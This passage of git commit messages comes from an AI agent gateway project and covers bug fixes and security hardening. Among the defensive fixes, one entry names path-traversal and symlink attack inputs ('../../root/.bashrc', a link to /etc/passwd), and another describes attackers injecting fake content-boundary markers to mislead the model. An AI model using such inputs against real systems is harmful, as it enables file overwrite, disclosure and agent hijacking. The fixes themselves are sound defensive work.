system was not protected with the same guard.
Add a BLOCKED_PATH_KEYS set mirroring config-paths.ts and reject traversal
into __proto__, prototype, or constructor in getByPath(). Add three test
cases covering all three blocked keys.
Signed-off-by: Alan Ross <alan@sleuthco.ai>
* test(gateway): narrow hook action type in prototype-pollution tests
* changelog: credit hooks prototype-path guard in PR 22213
* changelog: move hooks prototype-path fix into security section
---------
Signed-off-by: Alan Ross <alan@sleuthco.ai>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Fixes#10927
Adds unique per-wrapper IDs to external-content boundary markers to
prevent spoofing attacks where malicious content could inject fake
marker boundaries.
- Generate random 16-char hex ID per wrap operation
- Start/end markers share the same ID for pairing
- Sanitizer strips markers with or without IDs (handles legacy + spoofed)
- Added test for attacker-injected markers with fake IDs
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(tui): strip inbound metadata blocks from user text
* chore: clean up metadata-strip format and changelog credit
* chore: format tui metadata-strip tests
* test(web): isolate local media fixture paths to allow-listed roots
* fix(ui): strip injected inbound metadata from user messages in history
Fixes#21106Fixes#21109Fixes#22116
OpenClaw prepends structured metadata blocks ("Conversation info",
"Sender:", reply-context) to user messages before sending them to the
LLM. These blocks are intentionally AI-context-only and must never reach
the chat history that users see.
Root cause:
`buildInboundUserContextPrefix` in `inbound-meta.ts` prepends the
blocks directly to the stored user message content string, so they are
persisted verbatim and later shown in webchat, TUI, and every other
rendering surface.
Fix:
• `src/auto-reply/reply/strip-inbound-meta.ts` — new utility with a
6-sentinel fast-path strip (zero-alloc on miss) + 9-test suite.
• `src/tui/tui-session-actions.ts` — wraps `chatLog.addUser(...)` with
`stripInboundMetadata()` so the TUI never stores the prefix.
• `ui/src/ui/chat/message-normalizer.ts` — strips user-role text content
items during normalisation so webchat renders clean messages.
* fix(ui): strip inbound metadata for user messages in display path
* test: fix discord component send test spread typing
* fix: strip inbound metadata from mac chat history decode
* fix: align Swift metadata stripping parser with TS implementation
* fix: normalize line endings in inbound metadata stripper
* chore: document Swift/TS metadata-sentinel ownership
* chore: update changelog for inbound metadata strip fix
* changelog: credit Mellowambience for 22142
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* feat: add shared status reaction controller
* feat: add statusReactions config schema
* feat: wire status reactions for Discord and Telegram
* fix: restore original 10s/30s stall defaults for Discord compatibility
* Status reactions: fix stall timers and gating
* Format status reaction imports
---------
Co-authored-by: Matt <mateus.carniatto@gmail.com>
Add a responsive, animated underline indicator for navigation tabs to
improve visual focus and active-state feedback.
- Introduce CSS for .nav-tabs, .nav-tabs-item and a .nav-tabs-underline
element, including transitions, positioning, and dark mode color.
- Hide default first h1 in #content to keep header layout consistent.
- Add docs/nav-tabs-underline.js to create and manage the underline
element, observe DOM mutations, and update underline position/width on
changes, resize, and when fonts load.
- Preserve last known underline position/width across re-initializations
to avoid visual jumps.
This change makes active tab state visible with smooth movement and
ensures the underline stays synchronized with dynamic content.
Add a .agents entry to .gitignore to ensure the repository
ignores a top-level directory named ".agents" in addition to the
existing .agents/ pattern and other agent-related files.
When a memory file doesn't exist yet (e.g. daily log `2026-02-19.md`),
`readFile` now returns `{ text: "", path }` instead of propagating the
ENOENT error. This prevents noisy error responses from the memory read
tool and aligns with the "graceful degradation" recommendation in #9307.
Closes#9307
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Fixes#21444
When connecting via Hub Chat/webchat, the runtime channel was incorrectly
defaulting to 'whatsapp' instead of being omitted or set to 'webchat'.
Root cause: The channel resolution fallback chain (OriginatingChannel ->
Surface -> Provider) would use Provider even for webchat sessions, where
Provider may be unrelated (e.g., the user's default configured channel).
Changes:
- Add explicit webchat detection before falling back to Provider
- Skip Provider fallback when Surface is 'webchat' or Provider is 'webchat'
- Channel field is now undefined for webchat sessions (no incorrect label)
This ensures webchat sessions don't receive WhatsApp-specific formatting
hints (no markdown tables, no headers) and fixes the runtime label.
Fixes the pairing required regression from #21236 for legacy paired devices
created without roles/scopes metadata. Detects legacy paired metadata shape
and skips upgrade enforcement while backfilling metadata in place on reconnect.
Co-authored-by: Josh Avant <830519+joshavant@users.noreply.github.com>
Co-authored-by: Val Alexander <68980965+BunsDev@users.noreply.github.com>
- Changed "cask" to "formula" in SKILL.md for consistency.
- Enhanced formula parsing in frontmatter.ts to trim whitespace and fallback to cask if formula is not provided.
* fix(slack): pass recipient_team_id and recipient_user_id to streaming API calls
The Slack Agents & AI Apps streaming API (chat.startStream / chat.stopStream)
requires recipient_team_id and recipient_user_id parameters. Without them,
stopStream fails with 'missing_recipient_team_id' (all contexts) or
'missing_recipient_user_id' (DM contexts), causing streamed messages to
disappear after generation completes.
This passes:
- team_id (from auth.test at provider startup, stored in monitor context)
- user_id (from the incoming message sender, for DM recipient identification)
through to the ChatStreamer via recipient_team_id and recipient_user_id options.
Fixes#19839, #20847, #20299, #19791, #20337
AI-assisted: Written with Claude (Opus 4.6) via OpenClaw. Lightly tested
(unit tests pass, live workspace verification in progress).
* fix(slack): disable block streaming when native streaming is active
When Slack native streaming (`chat.startStream`/`stopStream`) is enabled,
`disableBlockStreaming` was set to `false`, which activated the app-level
block streaming pipeline. This pipeline intercepted agent output, sent it
via block replies, then dropped the final payloads that would have flowed
through `deliverWithStreaming` to the Slack streaming API — resulting in
zero replies delivered.
Set `disableBlockStreaming: true` when native streaming is active so the
final reply flows through the Slack streaming API path as intended.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: treat HTTP 503 as failover-eligible for LLM provider errors
When LLM SDKs wrap 503 responses, the leading "503" prefix is lost
(e.g. Google Gemini returns "high demand" / "UNAVAILABLE" without a
numeric prefix). The existing isTransientHttpError only matches
messages starting with "503 ...", so these wrapped errors silently
skip failover — no profile rotation, no model fallback.
This patch closes that gap:
- resolveFailoverReasonFromError: map HTTP status 503 → rate_limit
(covers structured error objects with a status field)
- ERROR_PATTERNS.overloaded: add /\b503\b/, "service unavailable",
"high demand" (covers message-only classification when the leading
status prefix is absent)
Existing isTransientHttpError behavior is unchanged; these additions
are complementary and only fire for errors that previously fell
through unclassified.
* fix: address review feedback — drop /\b503\b/ pattern, add test coverage
- Remove `/\b503\b/` from ERROR_PATTERNS.overloaded to resolve the
semantic inconsistency noted by reviewers: `isTransientHttpError`
already handles messages prefixed with "503" (→ "timeout"), so a
redundant overloaded pattern would classify the same class of errors
differently depending on message formatting.
- Keep "service unavailable" and "high demand" patterns — these are the
real gap-fillers for SDK-rewritten messages that lack a numeric prefix.
- Add test case for JSON-wrapped 503 error body containing "overloaded"
to strengthen coverage.
* fix: unify 503 classification — status 503 → timeout (consistent with isTransientHttpError)
resolveFailoverReasonFromError previously mapped status 503 → "rate_limit",
while the string-based isTransientHttpError mapped "503 ..." → "timeout".
Align both paths: structured {status: 503} now also returns "timeout",
matching the existing transient-error convention. Both reasons are
failover-eligible, so runtime behavior is unchanged.
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(docker): pin base images to SHA256 digests for supply chain security
Pin all 9 Dockerfiles to immutable SHA256 digests to prevent supply chain
attacks where a compromised upstream image could be silently pulled into
production builds.
Also add Docker ecosystem to Dependabot configuration for automated
digest updates.
Images pinned:
- node:22-bookworm@sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935
- node:22-bookworm-slim@sha256:3cfe526ec8dd62013b8843e8e5d4877e297b886e5aace4a59fec25dc20736e45
- debian:bookworm-slim@sha256:98f4b71de414932439ac6ac690d7060df1f27161073c5036a7553723881bffbe
- ubuntu:24.04@sha256:cd1dba651b3080c3686ecf4e3c4220f026b521fb76978881737d24f200828b2b
Fixes#7731
Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
* test(docker): add digest pinning regression coverage
---------
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
stripBotMention() passed mention.name and mention.key directly into
new RegExp() without escaping, allowing regex injection and ReDoS via
crafted Feishu mention metadata. extractMessageBody() in mention.ts
already escapes correctly — this applies the same pattern.
Ref: GHSA-c6hr-w26q-c636
_clawdock_compose() only passed -f docker-compose.yml, ignoring the
extra compose file that docker-setup.sh generates for persistent home
volumes and custom mounts. This broke all clawdock-* commands for
setups using OPENCLAW_HOME_VOLUME.
Fixes#17083
Co-authored-by: Claude <noreply@anthropic.com>
* fix(matrix): detect mentions in formatted_body matrix.to links
Many Matrix clients (including Element) send mentions using HTML links
in formatted_body instead of or in addition to the m.mentions field:
```json
{
"formatted_body": "<a href=\"https://matrix.to/#/@bot:matrix.org\">Bot</a>: hello",
"m.mentions": null
}
```
This change adds detection for matrix.to links in formatted_body,
supporting both plain and URL-encoded user IDs.
Changes:
- Add checkFormattedBodyMention() helper function
- Check formatted_body in resolveMentions()
- Add comprehensive test coverage
Fixes#6982
* Update extensions/matrix/src/matrix/monitor/mentions.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
---------
Co-authored-by: zerone0x <zerone0x@users.noreply.github.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
* security: add baseline security headers to gateway HTTP responses
All responses from the gateway HTTP server now include
X-Content-Type-Options: nosniff and Referrer-Policy: no-referrer.
These headers are applied early in handleRequest, before any
handler runs, ensuring coverage for every response including
error pages and 404s.
Headers that restrict framing (X-Frame-Options, CSP
frame-ancestors) are intentionally omitted at this global level
because the canvas host and A2UI handlers serve content that may
be loaded inside frames.
* fix: apply security headers before WebSocket upgrade check
Move setDefaultSecurityHeaders() above the WebSocket early-return so
the headers are set on every HTTP response path including upgrades.
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Replace Math.random() with crypto.randomBytes() for generating
temporary file names. Math.random() is predictable and can enable
TOCTOU race conditions. Also set mode 0o600 on TTS temp files.
Co-authored-by: sirishacyd <sirishacyd@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Replace execSync (which spawns a shell) with execFileSync (which
invokes the binary directly with an argv array). This eliminates
command injection risk from interpolated arguments.
Co-authored-by: sirishacyd <sirishacyd@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Command text displayed in Discord exec-approval embeds was not sanitized,
allowing crafted commands containing backticks to break out of the markdown
code block and inject arbitrary Discord formatting. This fix inserts a
zero-width space before each backtick to neutralize markdown injection.
The previous implementation returned early when buffer lengths differed,
leaking the expected secret's length via timing side-channel. Hashing both
inputs with SHA-256 before comparison ensures fixed-length buffers and
constant-time comparison regardless of input lengths.
YAML 1.1 default schema silently coerces values like "on" to true and
"off" to false, which can cause unexpected behavior in frontmatter
parsing. Explicitly set schema: "core" to use YAML 1.2 rules that
only recognize true/false/null literals.
* fix(security): block plaintext WebSocket connections to non-loopback addresses
Addresses CWE-319 (Cleartext Transmission of Sensitive Information).
Previously, ws:// connections to remote hosts were allowed, exposing
both credentials and chat data to network interception. This change
blocks ALL plaintext ws:// connections to non-loopback addresses,
regardless of whether explicit credentials are configured (device
tokens may be loaded dynamically).
Security policy:
- wss:// allowed to any host
- ws:// allowed only to loopback (127.x.x.x, localhost, ::1)
- ws:// to LAN/tailnet/remote hosts now requires TLS
Changes:
- Add isSecureWebSocketUrl() validation in net.ts
- Block insecure connections in GatewayClient.start()
- Block insecure URLs in buildGatewayConnectionDetails()
- Handle malformed URLs gracefully without crashing
- Update tests to use wss:// for non-loopback URLs
Fixes#12519
* fix(test): update gateway-chat mock to preserve net.js exports
Use importOriginal to spread actual module exports and mock only
the functions needed for testing. This ensures isSecureWebSocketUrl
and other exports remain available to the code under test.
This commit implements critical security fixes for vulnerability OC-22
(CVSS 7.7, CWE-426) in the skill packaging system.
## Security Fixes
1. Symlink Detection and Rejection
- Added check to detect and reject symlinks in skill directories
- Prevents attackers from including arbitrary system files via symlink following
- Rejects packaging with error message if any symlink is found
2. Path Traversal (Zip Slip) Prevention
- Added validation for arcname paths in zip archives
- Rejects paths containing ".." (directory traversal)
- Rejects absolute paths that could escape skill directory
- Prevents attackers from overwriting system files during extraction
## Attack Vectors Mitigated
- Symlink following: Attacker creates symlink to /etc/passwd or other
sensitive files in skill directory → now rejected
- Zip Slip: Attacker crafts paths with "../../root/.bashrc" to overwrite
system files during extraction → now rejected
## Changes
- Modified: skills/skill-creator/scripts/package_skill.py
- Added symlink check (line 73-76)
- Added path validation check (line 84-87)
- Enhanced error messages for security violations
- Added: skills/skill-creator/scripts/test_package_skill.py
- Comprehensive test suite with 11 test cases
- Tests for symlink rejection
- Tests for path traversal prevention
- Tests for normal file packaging
- Tests for edge cases (nested files, multiple files, large skills)
## Testing
All 11 tests pass:
- test_normal_file_packaging: Normal files packaged correctly
- test_symlink_rejection: Symlinks detected and rejected
- test_symlink_to_sensitive_file: Sensitive file symlinks rejected
- test_zip_slip_prevention: Normal subdirectories work properly
- test_absolute_path_prevention: Path validation logic tested
- test_nested_files_allowed: Properly nested files allowed
- test_multiple_files_with_symlink_mixed: Single symlink fails entire package
- test_large_skill_with_many_files: Large skills handled correctly
- test_missing_skill_directory: Error handling verified
- test_file_instead_of_directory: Error handling verified
- test_missing_skill_md: Error handling verified
SecurityScorecard's STRIKE research recently identified over 40,000
exposed OpenClaw gateway instances, with 35.4% running known-vulnerable
versions. The gateway already performs an npm update check on startup
and compares against the registry every 24 hours — but the result is
only logged to the server console. The control UI has zero visibility
into whether the running version is outdated, which means operators
have no idea they're exposed unless they happen to read server logs.
OpenClaw's user base is broadening well beyond developers who live in
terminals. Self-hosters, small teams, and non-technical operators are
deploying gateways and relying on the control dashboard as their
primary management interface. For these users, security has to be
surfaced where they already are — not hidden behind CLI output they
will never see. Making version awareness frictionless and actionable
is a prerequisite for reducing that 35.4% number.
This PR adds a sticky red warning banner to the top of the control UI
content area whenever the gateway detects it is running behind the
latest published version. The banner includes an "Update now" button
wired to the existing update.run RPC (the same mechanism the config
page already uses), so operators can act immediately without switching
to a terminal.
Server side:
- Cache the update check result in a module-level variable with a
typed UpdateAvailable shape (currentVersion, latestVersion, channel)
- Export a getUpdateAvailable() getter for the rest of the process
- Add an optional updateAvailable field to SnapshotSchema (backward
compatible — old clients ignore it, old servers simply omit it)
- Include the cached update status in buildGatewaySnapshot() so it
is delivered to every UI client on connect and reconnect
UI side:
- Add updateAvailable to GatewayHost, AppViewState, and the app's
reactive state so it flows through the standard snapshot pipeline
- Extract updateAvailable from the hello snapshot in applySnapshot()
- Render a .update-banner.callout.danger element with role="alert"
as the first child of <main>, before the content header
- Wire the "Update now" button to runUpdate(state), the same
controller function used by the config tab
- Use position:sticky and negative margins to pin the banner
edge-to-edge at the top of the scrollable content area
Replace absolute home directory prefix with ~ in skill <location> tags
injected into the system prompt. Models understand ~ expansion and the
read tool resolves it, so this is a safe, backward-compatible change.
Saves ~5-6 tokens per skill path. For a workspace with 90+ skills,
this reduces system prompt size by ~400-600 tokens.
Changes:
- Add compactSkillPaths() helper in workspace.ts
- Apply in buildWorkspaceSkillSnapshot and buildWorkspaceSkillsPrompt
- Add test for path compaction behavior
Before: /Users/alice/.bun/install/global/node_modules/openclaw/skills/github/SKILL.md
After: ~/.bun/install/global/node_modules/openclaw/skills/github/SKILL.md
* feat(skills): improve descriptions with routing logic
Apply OpenAI's recommended pattern for skill descriptions:
- Add 'Use when' conditions for clear triggering
- Add 'NOT for' negative examples to reduce misfires
- Make descriptions act as routing logic, not marketing copy
Based on: https://developers.openai.com/blog/skills-shell-tips/
Skills updated:
- coding-agent: clarify when to delegate vs direct edit
- github: add boundaries vs browser/scripting
- weather: add scope limitations
Glean reported 20% drop in skill triggering without negative
examples, recovering after adding them. This change brings
Clawdbot skills in line with that pattern.
* docs(skills): clarify routing boundaries (openclaw#14577) (thanks @DylanWoodAkers)
* docs(changelog): add PR 14577 release note (openclaw#14577) (thanks @DylanWoodAkers)
---------
Co-authored-by: ClawdBotWolf <clawdbotwolf@proton.me>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* test(whatsapp): add resolveWhatsAppOutboundTarget test suite
* style: auto-format files
* fix(test): correct mock order for invalid allowList entry test
Large images (2000px) consume excessive context tokens when sent to LLMs.
1200px provides sufficient detail for most use cases while significantly
reducing token usage.
The 5MB byte limit remains unchanged as JPEG compression at 1200px
naturally produces smaller files.
(cherry picked from commit 40182123dd)
* fix(gateway): avoid premature agent.wait completion on transient errors
* fix(agent): preemptively guard tool results against context overflow
* fix: harden tool-result context guard and add message_id metadata
* fix: use importOriginal in session-key mock to include DEFAULT_ACCOUNT_ID
The run.skill-filter test was mocking ../../routing/session-key.js with only
buildAgentMainSessionKey and normalizeAgentId, but the module also exports
DEFAULT_ACCOUNT_ID which is required transitively by src/web/auth-store.ts.
Switch to importOriginal pattern so all real exports are preserved alongside
the mocked functions.
* pi-runner: guard accumulated tool-result overflow in transformContext
* PI runner: compact overflowing tool-result context
* Subagent: harden tool-result context recovery
* Enhance tool-result context handling by adding support for legacy tool outputs and improving character estimation for message truncation. This includes a new function to create legacy tool results and updates to existing functions to better manage context overflow scenarios.
* Enhance iMessage handling by adding reply tag support in send functions and tests. This includes modifications to prepend or rewrite reply tags based on provided replyToId, ensuring proper message formatting for replies.
* Enhance message delivery across multiple channels by implementing sticky reply context for chunked messages. This includes preserving reply references in Discord, Telegram, and iMessage, ensuring that follow-up messages maintain their intended reply targets. Additionally, improve handling of reply tags in system prompts and tests to support consistent reply behavior.
* Enhance read tool functionality by implementing auto-paging across chunks when no explicit limit is provided, scaling output budget based on model context window. Additionally, add tests for adaptive reading behavior and capped continuation guidance for large outputs. Update related functions to support these features.
* Refine tool-result context management by stripping oversized read-tool details payloads during compaction, ensuring repeated read calls do not bypass context limits. Introduce new utility functions for handling truncation content and enhance character estimation for tool results. Add tests to validate the removal of excessive details in context overflow scenarios.
* Refine message delivery logic in Matrix and Telegram by introducing a flag to track if a text chunk was sent. This ensures that replies are only marked as delivered when a text chunk has been successfully sent, improving the accuracy of reply handling in both channels.
* fix: tighten reply threading coverage and prep fixes (#19508) (thanks @tyler6204)
resolveAutoEntries only checked a hardcoded list of providers
(openai, anthropic, google, minimax) when looking for an image model.
agents.defaults.imageModel was never consulted by the media understanding
pipeline — it was only wired into the explicit `image` tool.
Add resolveImageModelFromAgentDefaults that reads the imageModel config
(primary + fallbacks) and inserts it into the auto-discovery chain before
the hardcoded provider list. runProviderEntry already falls back to
describeImageWithModel (via pi-ai) for providers not in the media
understanding registry, so no additional provider registration is needed.
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
(cherry picked from commit b381029ede)
- Dual drag handles on SVG chart for time range selection
- Bars outside range dimmed, stats + conversation filtered to range
- Slot-based bar sizing prevents overflow at any point count
- Handle-only drag zones with col-resize cursor
- Reset button to clear selection
- computeFilteredUsage() helper with 8 unit tests
- Named constants, CSS classes instead of inline styles
When TTS conversion fails, the error message now includes failures
from every provider in the fallback chain instead of only the last
one tried. Previously, a timeout on the primary provider (e.g.
ElevenLabs) would be masked by the final fallback's error (e.g.
"edge: disabled"), making it impossible to diagnose the real issue.
Before: "TTS conversion failed: edge: disabled"
After: "TTS conversion failed: elevenlabs: timeout (30004ms); openai: no API key; edge: disabled"
When a cron job fires at 13:00:00.014 and completes at 13:00:00.021,
computeNextRunAtMs was flooring nowMs to 13:00:00.000 and asking croner
for the next occurrence from that exact boundary. Croner could return
13:00:00.000 (same second) since it uses >= semantics, causing the job
to be immediately re-triggered hundreds of times.
Fix: Ask croner for the next occurrence starting from the NEXT second
(e.g., 13:00:01.000). This ensures we always skip the current/elapsed
second and correctly return the next day's occurrence.
This also correctly handles the before-match case: if nowMs is
11:59:59.500, we ask from 12:00:00.000, and croner returns today's
12:00:00.000 match.
Added regression tests for the spin loop scenario.
The usage tab styles referenced var(--text-muted) which is not defined
anywhere in the CSS. This resolved to transparent/initial, making text
invisible in dark mode. The correct variable is var(--muted) (#71717a),
which is used throughout the rest of the UI (85+ occurrences).
47 occurrences fixed across 3 style files.
Fixes#17971
When initSessionState() reads the session store, use skipCache: true
to ensure fresh data from disk. The session store cache is process-local
and uses mtime-based invalidation, which can fail in these scenarios:
1. Multiple gateway processes (each has separate in-memory cache)
2. Windows file system where mtime granularity may miss rapid writes
3. Race conditions between messages 6-8 seconds apart
Symptoms: 134+ orphaned .jsonl transcript files, each with only 1
exchange. Session rotates on every incoming message even when
sessionKey is stable.
Root cause: loadSessionStore() returns stale cache → entry not found
for sessionKey → new sessionId generated → new transcript file.
The fix ensures session identity (sessionId) is always resolved from
the latest on-disk state, not potentially-stale cache.
Private chats (positive numeric chat IDs) never support forum topics.
Sending message_thread_id to a private chat causes Telegram to reject
the request with '400: Bad Request: message thread not found', silently
dropping the message.
Guard all three send functions (sendMessageTelegram, sendStickerTelegram,
sendPollTelegram) to omit thread-related parameters when the target is a
private chat.
Root cause: the auto-reply pipeline can set messageThreadId from a
previous forum-group context, then reuse it when sending a DM.
Tests: add private-chat suppression assertions; update existing thread-
retry tests to use group chat IDs so the retry path is still exercised.
When an isolated cron session has no lastAccountId (e.g. first-run or
fresh session), the message tool receives an undefined accountId which
defaults to "default". In multi-account setups where accounts are named
(e.g. "willy", "betty"), this causes resolveTelegramToken() to fail
because accounts["default"] doesn't exist.
This change adds a fallback in resolveDeliveryTarget(): when the
session-derived accountId is undefined, look up the agent's bound
account from the bindings config using buildChannelAccountBindings().
This mirrors the same binding resolution used for inbound routing,
closing the gap between inbound and outbound account resolution.
Session-derived accountId still takes precedence when present.
Fixes#17889
Related: #12628, #16259
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
When a heartbeat run results in HEARTBEAT_OK (or empty/duplicate), the user+assistant
turns are now pruned from the session transcript. This prevents context window
pollution from zero-information exchanges.
Implementation:
- captureTranscriptState(): records transcript file path and size before heartbeat
- pruneHeartbeatTranscript(): truncates file back to pre-heartbeat size
- Called in ok-empty, ok-token, and duplicate cases (same places as restoreHeartbeatUpdatedAt)
This extends the existing pattern where delivery is suppressed and updatedAt is restored
for HEARTBEAT_OK responses - now the transcript is also cleaned up.
Fixes#17804
The Telegram channel adapter listed no 'poll' action, so agents could
not create polls via the unified action interface. The underlying
sendPollTelegram function was already implemented but unreachable.
Changes:
- telegram.ts: add 'poll' to listActions (enabled by default via gate),
add handleAction branch that reads pollQuestion/pollOption params and
delegates to handleTelegramAction with action 'sendPoll'.
- telegram-actions.ts: add 'sendPoll' handler that validates question,
options (≥2), and forwards to sendPollTelegram with threading, silent,
and anonymous options.
- actions.test.ts: add test verifying poll action routes correctly.
Fixes#16977
- Change provider ID from 'openai-codex' to 'openai-codex-import' to avoid
conflict with core's built-in openai-codex provider
- Update model prefix from 'openai/' to 'openai-codex/' to match core's
namespace convention and avoid collision with standard OpenAI API provider
- Use correct Codex models (gpt-5.3-codex, gpt-5.2-codex) instead of generic
OpenAI models (gpt-4.1, o1, o3)
- Respect CODEX_HOME env var when resolving auth file path, matching core
behavior in src/agents/cli-credentials.ts
- Validate refresh token presence and throw clear error instead of using
empty string which causes silent failures
Adds a new authentication provider that reads OAuth tokens from the
OpenAI Codex CLI (~/.codex/auth.json) to authenticate with OpenAI's API.
This allows ChatGPT Plus/Pro subscribers to use OpenAI models in OpenClaw
without needing a separate API key - just authenticate with 'codex login'
first, then enable this plugin.
Features:
- Reads existing Codex CLI credentials from ~/.codex/auth.json
- Supports all Codex-available models (gpt-4.1, gpt-4o, o1, o3, etc.)
- Automatic token expiry detection from JWT
- Clear setup instructions and troubleshooting docs
Usage:
openclaw plugins enable openai-codex-auth
openclaw models auth login --provider openai-codex --set-default
- Copy templates from pi-coding-agent into src/auto-reply/reply/export-html/
- Add build script to copy templates to dist/
- Remove fragile node_modules path traversal
- Templates are now self-contained (~250KB total)
Export current session to HTML file with full system prompt included.
Uses pi-coding-agent templates for consistent rendering.
Features:
- Exports session entries + full system prompt + tools
- Saves to workspace by default, or custom path
- Optional --open flag to open in browser
- Reuses pi-mono export-html templates
Usage:
/export-session # Export to workspace
/export-session ~/export # Export to custom path
/export-session --open # Export and open in browser
When OPENCLAW_STATE_DIR changes between session creation and resolution
(e.g., after reinstall or config change), absolute session file paths
pointing to other agents' sessions directories were rejected even though
they structurally match the valid .../agents/<agentId>/sessions/... pattern.
The existing fallback logic in resolvePathWithinSessionsDir extracts the
agent ID from the path and tries to resolve it via the current env's
state directory. When those directories differ, the containment check
fails. Now, if the path structurally matches the agent sessions pattern
(validated by extractAgentIdFromAbsoluteSessionPath), we accept it
directly as a final fallback.
Fixes#15410, Fixes#15565, Fixes#15468
resolveTelegramThreadSpec now checks isForum in the non-group path.
DMs with forum/topics enabled return scope 'forum' so each topic
gets its own session, while plain DM threads keep scope 'dm'.
Addresses Greptile review comment: when !isNewSession, the spread already
copies all entry fields. The explicit entry?.field assignments were
redundant and could cause confusion. Simplified to only override the
core fields (sessionId, updatedAt, systemSent).
When a webhook or cron job provides a stable sessionKey, the session
should maintain conversation history across invocations. Previously,
resolveCronSession always generated a new sessionId and hardcoded
isNewSession: true, preventing any conversation continuity.
Changes:
- Check if existing entry has a valid sessionId
- Evaluate freshness using configured reset policy
- Reuse sessionId and set isNewSession: false when fresh
- Add forceNew parameter to override reuse behavior
- Spread existing entry to preserve conversation context
This enables persistent, stateful conversations for webhook-driven
agent endpoints when allowRequestSessionKey is configured.
Fixes#18027
deliverDiscordReply now checks payload.audioAsVoice and routes through
sendVoiceMessageDiscord instead of sendMessageDiscord when true.
This matches the existing Telegram behavior where audioAsVoice triggers
the voice message path (wantsVoice: true).
Fixes#17990
Discord's formatAllowFrom now strips these prefixes before matching,
aligning with normalizeDiscordAllowList behavior used in DM admission.
Before: commands.allowFrom: ["user:123"] → no match (senderCandidates: ["123", "discord:123"])
After: commands.allowFrom: ["user:123"] → "123" → matches sender "123"
Fixes#17937
When a depth-2 subagent (Birdie) completes and its parent (Newton) is a
depth-1 subagent, the announce should go to Newton, not bypass to the
grandparent (Jaris).
Previously, isSubagentSessionRunActive(Newton) returned false because
Newton's agent turn completed after spawning Birdie. This triggered the
fallback to grandparent even though Newton's SESSION was still alive and
waiting for child results.
Now we only fallback to grandparent if the parent SESSION is actually
deleted (no sessionId in session store). If the parent session exists,
we inject into it even if the current run has ended — this starts a new
agent turn to process the child result.
Fixes#18037
Test Plan:
- Added regression test: routes to parent when run ended but session alive
- Added regression test: falls back to grandparent only when session deleted
Windows path.relative() produces backslashes (e.g., memory\2026-02-16.md)
which fail to match RegExp patterns using forward slashes.
Normalize relative paths to forward slashes before RegExp matching
using rel.split(path.sep).join('/').
Fixes 4 test failures on Windows CI.
- Add readWorkspaceContextForSummary() to extract Session Startup + Red Lines from AGENTS.md
- Inject workspace context into compaction summary (limited to 2000 chars)
- Export extractSections() from post-compaction-context.ts for reuse
- Ensures compaction summary includes core rules needed for recovery
Part 1 of post-compaction context injection feature.
The updater was previously attempting to restart the service using the
installed codebase, which could be in an inconsistent state during the
update process. This caused the service to stall when the updater
deleted its own files before the restart could complete.
Changes:
- restart-helper.ts: new module that writes a platform-specific restart
script to os.tmpdir() before the update begins (Linux systemd, macOS
launchctl, Windows schtasks).
- update-command.ts: prepares the restart script before installing, then
uses it for service restart instead of the standard runDaemonRestart.
- restart-helper.test.ts: 12 tests covering all platforms, custom
profiles, error cases, and shell injection safety.
Review feedback addressed:
- Use spawn(detached: true) + unref() so restart script survives parent
process termination (Greptile).
- Shell-escape profile values using single-quote wrapping to prevent
injection via OPENCLAW_PROFILE (Greptile).
- Reject unsafe batch characters on Windows.
- Self-cleanup: scripts delete themselves after execution (Copilot).
- Add tests for write failures and custom profiles (Copilot).
Fixes#17225
recordAssistantUsage accumulated cacheRead across the entire multi-turn
run, and totalTokens was clamped to contextTokens. This caused
session_status to report 100% context usage regardless of actual load.
Changes:
- run.ts: capture lastTurnTotal from the most recent model call and
inject it into the normalized usage before it reaches agentMeta.
- usage-reporting.test.ts: verify usage.total reflects current turn,
not accumulated total.
Fixes#17016
When /new or /reset is triggered, the session file gets rotated
before the hook runs. The hook was reading the new (empty) file
instead of the previous session content.
This fix:
1. Checks if the session file looks like a reset file (.reset.)
2. Falls back to finding the most recent non-reset .jsonl file
3. Logs debug info about which file was used
Fixesopenclaw/openclaw#18088
Detects Azure AI Foundry URLs (services.ai.azure.com and
openai.azure.com) and transforms them to include the proper
deployment path (/openai/deployments/<model-id>) required by
Azure's API. This fixes the 400 error when configuring OpenAI
models from Azure AI Foundry.
Fixesopenclaw/openclaw#17992
Address review feedback: when port fallback occurs, maintain mapping from
original requested port to the relay server for proper cleanup and reuse.
- Add relayByOriginalPort map to track original port -> relay
- Update ensureChromeExtensionRelayServer to check both maps
- Update stopChromeExtensionRelayServer to clean up both mappings
- Stop function now uses the relay's actual bound port for auth cleanup
When the Chrome extension relay server fails to bind due to port
conflict (EADDRINUSE), automatically try alternative ports in the
dynamic range (49152-65535) instead of failing immediately.
This resolves issues where stale processes hold onto port 18792
after gateway restarts or crashes.
Fixes potential issues related to #8926, #13867, #17584
The supervisor's child adapter always spawned with `detached: true`,
which creates a new process group. On Windows Scheduled Tasks (headless,
no console), this prevents stdout/stderr pipes from properly connecting,
causing all exec tool output to silently disappear.
The old exec path (pre-supervisor refactor) never used `detached: true`.
The regression was introduced in cd44a0d01 (refactor process spawning).
Changes:
- child.ts: set `detached: false` on Windows, keep `detached: true` on
POSIX (where it's needed to survive parent exit). Skip the no-detach
fallback on Windows since it's already the default.
- child.test.ts: platform-aware assertions for detached behavior.
Fixes#18035Fixes#17806
Address review feedback - when --json mode is used, the drift warning
